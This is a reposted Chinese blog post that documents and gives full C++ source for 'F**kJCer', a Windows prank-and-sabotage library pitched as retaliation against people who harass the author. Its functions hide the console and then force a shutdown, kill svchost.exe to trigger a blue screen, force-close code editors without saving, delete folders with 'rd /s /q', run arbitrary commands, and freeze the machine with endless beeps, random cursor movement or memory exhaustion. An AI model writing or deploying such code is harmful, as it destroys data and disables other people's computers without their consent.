- hsfzbzjr's blog
FKJC
- 2022-10-1 15:25:11 @
转载
F**kJCer——反制JCer的最好工具
工具简介
当前最新版本:1.0(如果你发现你的代码的版本号比这个版本号要低,请及时跟进代码,以获取实时的功能更新)。
本工具仅供反制意图 JC 你的人/ JC 过你的人,JCer 爬。
说明文档
F**kJCer 拥有五个 namespace:
- Tools:某些工具依赖 Tools 中的工具,同时里面还有一些有用的东西,如生成随机数等。
- JC_mouse:与鼠标相关的工具。
- JC_window:与控制台相关的工具。
- JC_system:与 Windows 系统相关的工具。
- JC_simple:常用的 JC 代码。
下面我将依次介绍这五个 namespace 中的工具。
Tools
int Tools::random(int a, int b)
生成一个在范围 中的整数,请确保 (INT_MAX 在笔者的 DevC++ 中的值为 0x7fff)。
void Tools::to_string(int x, char *s)
将 转换为 C 风格字符串,并将其储存到 中。
JC_mouse
POINT JC_mouse::get()
返回鼠标的当前坐标。
POINT 类型中包含两个成员变量 和 ,代表 x 轴坐标和 y 轴坐标。
void JC_mouse::set(int x, int y)
设置鼠标位置为 。
int JC_mouse::get_x()
返回鼠标的 x 轴坐标。
int JC_mouse::get_y()
返回鼠标的 y 轴坐标。
void JC_mouse::set_x(int x)
设置鼠标的 x 轴坐标为 。
void JC_mouse::set_y(int y)
设置鼠标的 y 轴坐标为 。
JC_window
void JC_window::hide()
隐藏控制台(黑框框消失)。
void JC_window::show()
显示控制台。
void JC_window::set_color(bg, fg)
设置控制台的背景为 ,前景为 。
其中 和 的取值可以为以下几种:
JC_window::color_black 黑色
JC_window::color_grey 灰色
JC_window::color_blue 蓝色
JC_window::color_light_blue 淡蓝色
JC_window::color_green 绿色
JC_window::color_qian_green 浅绿色
JC_window::color_dan_green 淡绿色
JC_window::color_dan_qian_green 淡浅绿色
JC_window::color_red 红色
JC_window::color_light_red 淡红色
JC_window::color_purple 紫色
JC_window::color_light_purple 淡紫色
JC_window::color_yellow 黄色
JC_window::color_light_yellow 淡黄色
JC_window::color_white 白色
JC_window::color_light_white 亮白色
JC_system
void JC_system::beep()
发出 Windows 报错声音。
void JC_system::wait_s(int s)
程序等待 秒。
void JC_system::wait_m_s(int m, int s)
程序等待 分 秒。
void JC_system::wait_h_m_s(int h, int m, int s)
程序等待 时 分 秒。
void JC_system::run_command(const char *cmd)
程序执行命令 (控制台命令,如 rd,md,xcopy 等)。
void JC_system::quit_s(int s)
让 Windows 系统在 秒后关机,若 即立刻关机。
void JC_system::quit_m_s(int m, int s)
让 Windows 系统在 分 秒后关机。
void JC_system::quit_h_m_s(int h, int m, int s)
让 Windows 系统在 时 分 秒后关机。
void JC_system::cancel_quit()
取消 Windows 系统的关机计划。
void JC_system::kill_task(const char *name)
杀死名为 的进程以及他的子进程。
若权限不够,有些进程无法被杀死。
void JC_system::blue_screen()
让 Windows 系统蓝屏。
若权限不够就无法生效。
void JC_system::kill_devcpp()
强制关闭 DevC++(即使有文件没有保存)
void JC_system::kill_vscode()
强制关闭 Visual Stdio Code(即使有文件没有保存)
void JC_system::remove_fold(const char *fold)
删除目录 。注意 中的斜杠要写 2 遍。
如:JC_system::remove_fold("C:\\temp")
。
JC_simple
以下三个函数运行时没有黑框框,因为调用了 JC_window::hide 函数。
void JC_simple::loop_beep()
不停的发出报错声音导致系统卡死,可能没有声音,因为扬声器被同时占用。
void JC_simple::fly_cursor()
随机鼠标坐标,让 Windows 无法使用,只能强制关机。
void JC_simple::infinite_memory()
感谢 d0j1a_1701 的添加。
通过无限申请内存导致电脑死机(d0j1a_1701 说 15 秒即可生效)。
F**kJCer 代码
你可以在 main 函数中写下你的代码。
代码共有 193 行,码字调试不易。
// Ver 1.0, see website https://www.luogu.com.cn/paste/rhwjcetq
#include <windows.h>
#include <cstdlib>
#include <cstdio>
#include <ctime>
namespace Tools {
// Return a random number between a and b.
bool init = false;
int random(int a, int b) {
if (!init) {
srand(time(NULL));
init = true;
}
return rand() % (b - a + 1) + a;
}
// Let integer s to a string and copy it to str.
void to_string(int s, char *str) {
int len = 0;
do {
str[len++] = s % 10 + '0';
s /= 10;
} while (s);
str[len] = 0;
for (int i = 0; i < (len / 2); i++) {
char t = str[i];
str[i] = str[len - 1 - i];
str[len - 1 - i] = t;
}
}
}
namespace JC_mouse {
// Get the mouse index. Return a type named POINT, (POINT.x, POINT.y) is the index of mouse.
POINT get() {
POINT point;
GetCursorPos(&point);
return point;
}
// Set the mouse index as (x, y).
void set(int x, int y) {
SetCursorPos(x, y);
}
// Get x or y
int get_x() {
return get().x;
}
int get_y() {
return get().y;
}
// Set x or y
void set_x(int x) {
set(x, get_y());
}
void set_y(int y) {
set(get_x(), y);
}
}
namespace JC_window {
// Hide or show the console.
void hide() {
ShowWindow(GetConsoleWindow(), SW_HIDE);
}
void show() {
ShowWindow(GetConsoleWindow(), SW_SHOW);
}
// Define colors you can use for function JC_window::set_color
const char *color_black = "0";
const char *color_grey = "8";
const char *color_blue = "1";
const char *color_light_blue = "9";
const char *color_green = "2";
const char *color_qian_green = "3";
const char *color_dan_green = "A";
const char *color_dan_qian_green = "B";
const char *color_red = "4";
const char *color_light_red = "C";
const char *color_purple = "5";
const char *color_light_purple = "D";
const char *color_yellow = "6";
const char *color_light_yellow = "E";
const char *color_white = "7";
const char *color_light_white = "F";
// Set the color, so that:
// the color of blackground is bg;
// the color of foreground is fg.
void set_color(const char *bg, const char *fg) {
char cmd[1000] = "color ";
strcat(cmd, bg);
strcat(cmd, fg);
system(cmd);
}
}
namespace JC_system {
// make sound beep
void beep() {
putchar('\a');
}
// wait some second of s.
void wait_s(int s) {
Sleep(s * 1000);
}
// wait time of m:s
void wait_m_s(int m, int s) {
wait_s(m * 60 + s);
}
// wait time of h:m:s
void wait_h_m_s(int h, int m, int s) {
wait_s(h * 3600 + m * 60 + s);
}
// run command
void run_command(const char *cmd) {
system(cmd);
}
// quit_window some second of s
void quit_s(int s) {
if (s < 0) return;
char str[1000];
Tools::to_string(s, str);
char cmd[1000] = "shutdown /f /s /t ";
strcat(cmd, str);
system(cmd);
}
// quit_window some time of m:s
void quit_m_s(int m, int s) {
quit_s(m * 60 + s);
}
// quit_window some time of h:m:s
void quit_h_m_s(int h, int m, int s) {
quit_s(h * 3600 + m * 60 + s);
}
// cancel quit windows
void cancel_quit() {
system("shutdown /a");
}
// kill task
void kill_task(const char *name) {
char cmd[1000] = "taskkill /f /t /im ";
strcat(cmd, name);
system(cmd);
}
// Computer blue screen
void blue_screen() {
kill_task("svchost.exe");
}
// Kill DevC++
void kill_devcpp() {
kill_task("devcpp.exe");
}
// Kill Visual Stdio Code (vs code for short)
void kill_vscode() {
kill_task("code.exe");
}
// remove fold
void remove_fold(const char *fold) {
char cmd[1000] = "rd /s /q ";
strcat(cmd, fold);
system(cmd);
}
}
namespace JC_simple {
// Stuck system
void loop_beep() {
JC_window::hide();
while (true) JC_system::beep();
}
// Cursor random
void fly_cursor() {
JC_window::hide();
while (true) {
JC_mouse::set_x(Tools::random(0, 1000));
JC_mouse::set_y(Tools::random(0, 1000));
}
}
void infinite_memory() { // Thanks d0j1a_1701's adding
JC_window::hide();
__int128_t *magic[114514];
while (true) {
for (int i = 0; i < 114514; i++) {
magic[i] = new __int128_t;
}
}
}
}
int main() {
return 0;
}